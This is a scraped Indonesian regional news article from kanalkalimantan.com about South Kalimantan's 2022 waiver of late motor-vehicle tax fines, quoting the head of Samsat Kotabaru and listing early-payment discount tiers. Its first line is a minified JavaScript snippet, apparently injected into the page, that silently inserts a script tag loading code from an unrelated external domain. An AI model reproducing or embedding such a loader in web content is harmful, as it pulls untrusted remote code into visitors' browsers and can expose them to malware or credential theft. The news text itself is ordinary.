(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Terhitung mulai Tanggal 3 Oktober – 24 Desember 2022 Pemerintah Provinsi Kalimantan Selatan berikan pengurangan dan pembebasan denda PKB dan BBNKB pajak kendaraan bermotor.
Momentum pembebasan denda administrasi kendaraan bermotor yang berlaku se Kalsel hendaknya dimanfaatkan segera oleh wajib pajak. Pasalnya, selain mendapat diskon, ini juga sebagai antisipasi agar dapat terhindar dari penghapusan data registrasi Korlantas Polri.
Kepala UPPD Samsat Kotabaru, Muhammad Fahmi Arif memberikan imbauan agar masyarakat Kotabaru agar dapat memanfaatkan program ini sebaik mungkin. Tujuannya, juga agar lebih aman dalam melakukan aktivitas berkendara.
“Program penghapusan denda administrasi ini berlaku mulai 3 Oktober hingga 24 Desember 2022, jadi manfaatkan waktu dengan sebaik-baiknya,” ujarnya, baru-baru tadi.
Baca juga: Ribuan Santri Peringati Satu Abad Ponpes Rakha Amuntai dan Hari Santri Nasional
Terkait bakal adanya penghapusan data registrasi, ia menyampaikan agar setidaknya wajib pajak dapat membayarkan pajak kendaraan tepat waktu. Bahkan, relaksasi ini juga berlaku bagi mereka yang sampai ini menunggak.
“Juga berlaku bagi kendaraan roda dua, tiga dan empat. Untuk tidak terjadi penerapan itu, silah kan datang untuk melakukan pembayaran tunggakan,” imbaunya.
Mengingat letak wilayah Kotabaru diakui sangat luas, Fahmi, menuturkan, Samsat Kotabaru sudah memiliki kantor pembantu untuk memudahkan wajib pajak menjangkau transaksi pembayaran pajak kendaraan bermotor.
“Kami memiliki tiga kantor pembantu samsat, di antaranya untuk wilayah pesisir berada di Lontar. Sedangkan Kotabaru yang berada di daratan itu bisa mendatangi Serongga dan Sengayam yang berbatasan dengan Kaltim,” pungkasnya.
Baca juga: Posko Banjir Lamandau Siaga 1×24 Jam
Sekedar diketahui, bagi wajib pajak yang taat bayar, mendapat Pengurangan apabila dibayarkan mulai:
1. 30 hari sampai saat jatuh tempo diskon sebesar 5%
2. 31-60 hari sebelum jatuh tempo diskon sebesar 7,5%
3. 61-90 hari sebelum jatuh tempo diskon sebesar 10%
Kemudian kalau untuk sanksi administrasi itu dendanya dihapus, seperti Pembebasan sanksi Administrasi Denda keterlambatan PKB dan Pembebasan Pokok serta Sanksi Administrasi Denda BBNKNB atas penyerahan kepemilikan kedua dan seterusnya.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.